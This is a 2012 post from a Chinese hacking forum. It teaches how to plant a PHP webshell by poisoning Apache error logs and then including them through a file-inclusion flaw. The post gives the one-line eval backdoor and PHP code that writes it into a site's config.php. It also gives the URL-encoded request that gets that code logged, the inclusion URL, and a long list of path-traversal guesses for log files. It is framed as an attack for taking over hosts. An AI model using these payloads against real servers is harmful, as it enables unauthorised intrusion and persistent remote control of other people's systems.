找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1929|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
9 H) A: k4 b( ?) D4 e8 e
7 U8 R9 l  u% J. D4 n# }比如还是这句一句话木马 # [( [1 k8 w( L# _( _0 X
<?eval($_POST[cmd]);?>   # D* S& G% l, ^) C
4 C( P. a" }- L* ]
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 3 _* N# k) |1 Q6 L% S( a( v1 Z
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
: }* T& \: W$ u/ h( a  p: r) \" a6 w  ~$ b/ _3 i
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
* j+ y" M8 U9 H* w% Ofclose($fp);?>   //在config.php里写入一句木马语句
# C  c# c& i4 r
: m2 @1 g& b. n% x我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 8 [7 w, H4 y% z& N9 r) L& `7 A
转换为 2 ]( q7 g/ _2 k9 E" b
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F 0 `" G8 D6 T) }' L8 ^- e: s0 Y  Q
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 4 E+ Y; ?. a1 _% g, m9 _6 c
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B . f$ J9 f- q2 Y2 c& F
fclose%28%24fp%29%3B%3F%3E / i2 ^# z' I$ I" N, d- X, _
我们提交 9 Y$ ?2 Z& u* I0 A1 P, y
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
. I4 ~/ A" \3 e7 M) e/ Q6 {%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
. q2 I2 \+ V+ w9 y* m. d6 @3 ~%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B   ~% u. q6 ~5 P/ N
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E # z6 n2 C+ y0 p& y: l) c

' J  j- h1 v* K& {7 o这样就错误日志里就记录下了这行写入webshell的代码。
, P# a; a% Q! ]3 D我们再来包含日志,提交
% b) e+ d( S) `6 dhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
7 u' |$ Q" U9 D/ K  b. M# X/ M* y! S+ p$ ]$ V* _
这样webshell就写入成功了,config.php里就写入一句木马语句
8 f( V9 O( x2 q) K/ c! ZOK. 1 |1 _* r' g8 N$ q( r+ C
http://www.xxx.com/forum/config.php这个就成了我们的webshell
5 E! J3 i6 M5 c( ]  b直接用lanker的客户端一连,主机就是你的了。 % W6 S3 K9 T7 P+ ?7 L. L$ k' v) R- S
6 a" r1 _# Q$ _9 E- j& B, X3 T
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
, k$ p2 W6 ^  [9 H* s# U
+ M- ~5 v. @/ d% U% I其他的日志路径,你可以去猜,也可以参照这里。 + x% x1 ?# j- a$ K
../../../../../../../../../../var/log/httpd/access_log * b0 n2 T' f  V+ V1 ?
../../../../../../../../../../var/log/httpd/error_log
" e& c' \9 z2 t0 \* Z' A../apache/logs/error.log , q# b; {! @# j$ N% b; j) c
../apache/logs/access.log
) Z' t/ W, `4 L5 F# b! n../../apache/logs/error.log $ y6 S3 O5 k1 j- R/ J
../../apache/logs/access.log
( {7 W4 V0 P6 M. u2 ]2 A../../../apache/logs/error.log 9 h: Z2 ~: D0 p# b2 }$ ], H- M( r
../../../apache/logs/access.log 9 x; h) ]2 \- @+ e* b6 |" ~
../../../../../../../../../../etc/httpd/logs/acces_log # E( t0 _0 A" _
../../../../../../../../../../etc/httpd/logs/acces.log 5 C* N$ q3 E8 i% v" g
../../../../../../../../../../etc/httpd/logs/error_log 9 Z0 @$ Y0 Z  K/ Q+ B! J& C/ y( ]  N
../../../../../../../../../../etc/httpd/logs/error.log 0 I0 q1 ~1 l7 }0 n1 D, ]
../../../../../../../../../../var/www/logs/access_log
$ i+ E$ y- W' ]% `  e& J../../../../../../../../../../var/www/logs/access.log
  y- }& Y7 f& d4 \../../../../../../../../../../usr/local/apache/logs/access_log
" ]) A+ P* F; X../../../../../../../../../../usr/local/apache/logs/access.log 3 q/ H' v2 {( \: e
../../../../../../../../../../var/log/apache/access_log . B$ ^0 W3 q0 x  u+ g- X
../../../../../../../../../../var/log/apache/access.log
" ~7 o" |( s, N0 _9 `- S: j2 V3 ~$ R7 d: r../../../../../../../../../../var/log/access_log
$ i/ A% O* F& S../../../../../../../../../../var/www/logs/error_log 1 I8 g/ k# P/ Q" I1 y4 @/ {1 ^* q- y
../../../../../../../../../../var/www/logs/error.log " o9 t; W5 A* ^3 ?
../../../../../../../../../../usr/local/apache/logs/error_log 9 w& w5 v1 {6 k! ~3 ?7 Z8 X
../../../../../../../../../../usr/local/apache/logs/error.log 5 i% t  \5 V9 E3 z
../../../../../../../../../../var/log/apache/error_log
# E- s0 ]6 ~* S) k../../../../../../../../../../var/log/apache/error.log
  ^* t0 E9 G- Y: s/ A- M../../../../../../../../../../var/log/access_log - h0 V  ]* O. G
../../../../../../../../../../var/log/error_log ' ]+ j' T% g* f
/var/log/httpd/access_log      
+ L! ?/ Z. ~0 ?0 {/var/log/httpd/error_log     5 ~' M; k  o9 g' f1 f! ^. ~; P
../apache/logs/error.log     9 Y+ R5 b2 s: X% H+ k( m! k( p* b
../apache/logs/access.log
0 h2 p7 a/ Q: c../../apache/logs/error.log
  n" D* ~9 \/ O( N5 f7 b0 \../../apache/logs/access.log - s0 f. a, X' t9 T$ b4 q- x
../../../apache/logs/error.log
- B3 \$ H+ v, v& o. J" a% |../../../apache/logs/access.log
7 }2 \: R1 J; _# C/etc/httpd/logs/acces_log
. E3 k- j3 @' J& v2 w" U/etc/httpd/logs/acces.log % r/ E; y+ {4 O  i/ b# W
/etc/httpd/logs/error_log
1 B4 `1 i% b: f4 S9 h/etc/httpd/logs/error.log + t* `( I8 R- g4 y( d+ S) N
/var/www/logs/access_log
. g9 }! s. _) z$ F6 I" c/var/www/logs/access.log
! c8 S2 t! g& E5 Q4 Z+ R! Q/usr/local/apache/logs/access_log ! v$ g& ]7 f7 _" T7 S  M
/usr/local/apache/logs/access.log 9 e3 s! X. [6 `
/var/log/apache/access_log * r9 h0 Z" B" W1 g& z
/var/log/apache/access.log ; l& o, h- ^) t' k4 `6 P
/var/log/access_log
' f" J. x: A/ m1 _6 a9 N# \/var/www/logs/error_log
$ U$ x. a0 g+ P& S% h/var/www/logs/error.log
/ h* w- E% D1 n. B1 O' g/usr/local/apache/logs/error_log & |2 }; F; F6 J7 Q7 K! h; a
/usr/local/apache/logs/error.log
; J: x& n& E, K/ |9 C* A/var/log/apache/error_log $ Z' w9 N" b0 ~# X
/var/log/apache/error.log
2 D7 F" I) n9 A7 ]& S/var/log/access_log
% {& x) S0 I4 V7 p/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表